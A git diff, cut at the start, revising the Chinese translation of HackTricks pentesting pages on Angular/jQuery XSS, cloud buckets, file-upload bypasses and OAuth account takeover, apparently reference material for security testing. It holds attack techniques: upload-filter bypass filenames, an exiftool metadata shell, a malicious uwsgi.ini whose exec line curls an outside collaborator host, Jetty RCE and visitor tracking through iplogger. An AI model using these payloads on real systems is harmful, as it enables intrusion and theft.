特殊 |
+| 样式 | 样式属性 | \
```
-在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。
+在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。
#### jQuery
jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。
-* `html()` 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 `");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
-如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会运行解析 HTML 中的脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `
![]()
` 属性。
+如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会在解析的 HTML 中运行脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `
![]()
` 属性。
```tsx
//app.component.ts
@@ -450,7 +450,7 @@ $palias.append(html);
* `window.location.href`(和 `document.location.href`)
-获取当前 DOM 位置对象的标准方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。
+获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。
```tsx
//app.component.ts
@@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular 类
-* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功开放重定向攻击的入口,如示例所示:
+* 根据 Angular 文档,Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功的开放重定向攻击的入口,如下例所示:
```tsx
//app.component.ts
@@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
-* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
+* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md
index a1cfad784..b7c851343 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/README.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/README.md
@@ -5,7 +5,7 @@
如果您想了解更多关于枚举和滥用 Buckets 的信息,请查看此页面:
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
+https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index 74d6aa2eb..865e5aa21 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -4,12 +4,12 @@
## 什么是 Firebase
-Firebase 是一种主要用于移动应用的后端即服务(Backend-as-a-Service)。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
+Firebase 是一种主要用于移动应用的后端即服务。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
了解更多关于 Firebase 的信息:
{{#ref}}
-https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
+https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 7f47b7607..890ffe6b3 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -7,7 +7,7 @@
其他有用的扩展名:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
-- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+- **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@@ -21,7 +21,7 @@
2. _检查**在执行扩展名之前添加有效扩展名**(也使用之前的扩展名):_
- _file.png.php_
- _file.png.Php5_
-3. 尝试在末尾添加**特殊字符**。你可以使用 Burp 来**暴力破解**所有的**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_)
+3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
-4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用像**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节)等技术。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
+4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节)。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@@ -40,19 +40,19 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
-5. 为之前的检查添加**另一层扩展名**:
+5. 在之前的检查中添加**另一层扩展名**:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
-6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误的情况,其中任何带有扩展名**_**.php**_**的内容,但不一定以 .php** 结尾的内容将执行代码):
+6. 尝试将**exec扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用Apache配置错误,其中任何带有扩展名**_**.php**_**的内容,但不一定以.php结尾**将执行代码):
- _例如: file.php.png_
-7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
-8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。AAA<--SNIP-->AAA.php
+7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
+8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
```
-# Linux 最大 255 字节
+# Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png
-# 上传文件并检查响应允许多少个字符。假设 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
+# 上传文件并检查响应允许多少个字符。假设236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷
@@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### 绕过内容类型、魔术数字、压缩和调整大小
-- 通过将**Content-Type** **头**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_ 来绕过**Content-Type**检查
+- 通过将**Content-Type** **header**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入 shell:\
+- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
`exiftool -Comment="' >> img.png`
-- 如果**压缩被添加到你的图像**,例如使用一些标准的 PHP 库,如 [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
-- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- 网页也可能在**调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized` 或 `imagecopyresampled`。然而,你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
-- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用**tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。
-- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
+- 如果**压缩被添加到你的图像**,例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
+- 网页也可能在**调整图像大小**,例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
+- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
- 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露**:
-1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件**
+1. **多次**(并且在**同一时间**)上传**同一文件**,并使用**相同的名称**
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
-3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如,在 Apache 的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
+3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
-5. 在**Windows**中上传一个包含**无效字符**的文件,例如 `|<>*?”` 作为其名称。(Windows)
-6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。
+5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`。(Windows)
+6. 在**Windows**中上传一个文件,使用**保留**(**禁止**)**名称**,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
### 特殊扩展名技巧
-如果你尝试将文件上传到**PHP 服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\
-如果你尝试将文件上传到**ASP 服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
+如果你尝试将文件上传到**PHP服务器**, [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
+如果你尝试将文件上传到**ASP服务器**, [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
-`.phar` 文件类似于 Java 的 `.jar`,但用于 PHP,并且可以**像 PHP 文件一样使用**(通过 PHP 执行或在脚本中包含它...)
+`.phar`文件类似于Java的`.jar`,但用于PHP,并且可以**像PHP文件一样使用**(通过PHP执行或在脚本中包含它...)
-`.inc` 扩展名有时用于仅用于**导入文件**的 PHP 文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
+`.inc`扩展名有时用于仅用于**导入文件**的PHP文件,因此,在某些时候,可能有人允许**此扩展名被执行**。
## **Jetty RCE**
-如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 [RCE,因为**新的 \*.xml 和 \*.war 会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell!
+如果你可以将XML文件上传到Jetty服务器,你可以获得[RCE,因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将XML文件上传到`$JETTY_BASE/webapps/`并期待shell!
.png>)
## **uWSGI RCE**
-有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
+有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
-如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行(RCE)漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。特别是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
+如果能够修改`.ini`配置文件,则可以在uWSGI服务器中利用远程命令执行(RCE)漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@`操作符,作为`@(filename)`使用,旨在包含文件的内容。在uWSGI支持的各种方案中,“exec”方案特别强大,允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
-考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案:
+考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
```ini
[uwsgi]
; read from a symbol
@@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
-有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用了自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
+有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
-在 **linux** 中,**文件名**的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
+**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -160,7 +160,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## 工具
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术来简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具,旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程,确保对Web应用程序进行全面评估。
## 从文件上传到其他漏洞
@@ -174,9 +174,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
+- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL,并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
-- 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,按照给定的指示。
+- 特别制作的PDF以实现XSS:[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF,您可以准备一些将执行任意JS的PDF,遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制**
@@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
```
### 在不同文件夹中解压
-在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。
+在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
```python
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index 24d060583..06bf5abd9 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -6,7 +6,7 @@
OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。
-考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
+考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您的许可以 **访问您的社交媒体帖子**。因此,_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后,_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
理解 OAuth 2.0 框架中的以下组件至关重要:
@@ -15,10 +15,10 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
- **客户端应用程序**:**请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com**。
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**。
- **client_id**:应用程序的公共唯一标识符。
-- **client_secret**:仅应用程序和授权服务器知晓的机密密钥,用于生成 `access_tokens`。
+- **client_secret**:仅为应用程序和授权服务器所知的机密密钥,用于生成 `access_tokens`。
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code`。
- **scope**:`客户端应用程序` 请求的 **访问级别**。
-- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
+- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 一致。
- **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
- **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。
- **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id` 和 `client_secret` 一起使用以获取 `access_token`。
@@ -27,10 +27,10 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
### 流程
-**实际的 OAuth 流程** 如下:
+**实际的 OAuth 流程**如下:
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
-2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构为:
+2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下:
```
https://socialmedia.com/auth
?response_type=code
@@ -39,12 +39,12 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
-3. 然后您将看到一个同意页面。
+3. 然后您会看到一个同意页面。
4. 在您批准后,社交媒体会向 `redirect_uri` 发送包含 `code` 和 `state` 参数的响应:
```
https://example.com?code=uniqueCode123&state=randomString123
```
-5. https://example.com 利用这个 `code`,连同它的 `client_id` 和 `client_secret`,发起服务器端请求以代表您获取 `access_token`,从而访问您同意的权限:
+5. https://example.com 利用这个 `code`,连同它的 `client_id` 和 `client_secret`,向服务器发起请求以代表您获取 `access_token`,从而访问您同意的权限:
```
POST /oauth/access_token
Host: socialmedia.com
@@ -56,9 +56,9 @@ Host: socialmedia.com
### 开放的 redirect_uri
-`redirect_uri` 对于 OAuth 和 OpenID 实现的安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
+`redirect_uri` 在 OAuth 和 OpenID 实现中对安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
-利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃取。
+利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌盗窃。
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri`、`policy_uri`、`tos_uri` 和 `initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。
@@ -72,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard
-在OAuth实现中,**`state`参数**的误用或遗漏会显著增加**跨站请求伪造(CSRF)**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时,就会出现此漏洞,从而允许攻击者绕过CSRF保护。
+在OAuth实现中,**`state`参数**的误用或遗漏会显著增加**跨站请求伪造(CSRF)**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时,攻击者可以绕过CSRF保护。
